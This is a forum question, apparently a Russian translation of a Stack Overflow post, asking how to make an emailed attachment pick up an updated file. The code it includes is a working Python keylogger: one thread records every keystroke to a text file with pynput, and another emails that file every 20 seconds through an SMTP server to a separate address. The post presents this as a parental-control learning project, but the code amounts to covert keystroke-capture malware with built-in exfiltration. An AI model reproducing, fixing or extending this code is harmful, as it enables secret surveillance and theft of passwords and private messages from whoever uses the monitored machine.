Проблема открытия и закрытия файла для отправки по электронной почте Python - PullRequest
0 голосов
/ 25 октября 2018

Я занимался кибербезопасностью и проводил некоторые исследования по инструментам мониторинга родительского контроля и подумал, что регистратор ключей / отправитель электронной почты будет хорошим проектом, чтобы научиться создавать.

Итак, мой код правильно отправляет электронное письмо, а также отправляет сгенерированный текстовый файл в виде вложения.

Проблемы, с которыми я сталкиваюсь и нуждаюсь в помощи: 1. Когда регистратор ключей продолжает регистрировать нажатия клавиш, вложение электронной почты не обновляет файл, оно просто отправляет исходный файл по первоначальному пути.

Я хотел бы создать способ поиска пути к текстовому файлу, принадлежащему функции регистрации ключей, из функции электронной почты.Другими словами, я не хочу жестко кодировать путь к файлу, в котором электронная почта должна искать вложение.

Если есть лучший способ сделать это, яЯ все уши, как я учусь.Один из способов, который я подумал, - просто прочитать содержимое нажатий клавиш в открытый файл, связанный с отправкой по электронной почте, но я не уверен, как это сделать.Мой код ниже.Спасибо!

Я использую последнюю версию Python для Windows.3.x

from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
import threading



def main():


    def logger():

        logging.basicConfig(filename=("" + "key_log.txt"), 
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

        def on_press(key):
            logging.info(str(key))
        with Listener(on_press=on_press) as listener:
            listener.join()




    def mail():
        email_user = 'youremail@email.com'
        email_password = 'password'
        email_send = 'theiremail@email.com'

        subject = 'Test'
        #Creating message object for email.  Tying message object to 
        variables above.


        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
        #Actual message.
        body = 'Hi there, sending this email from Python!'
        #Attach a file
        msg.attach(MIMEText(body,'plain'))
        #File path needs double slash here. Filename is reference variable to 
        file location
        filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\key_log.txt'
        #create attachment variable, open, filename and 

        attachment=open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment; filename= 
        "+filename)

        msg.attach(part)
        text = msg.as_string()
        server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587)
        server.starttls()
        server.login(email_user,email_password)
        #send message
        while True:
            try:
                server.sendmail(email_user,email_send,text)
                print("Success")
                time.sleep(20)
            except Exception:
                print("Message failed to send")

        server.quit()



    w = threading.Thread(target = logger)
    w2 = threading.Thread(target = mail)
    w.start()
    w2.start()


main()
...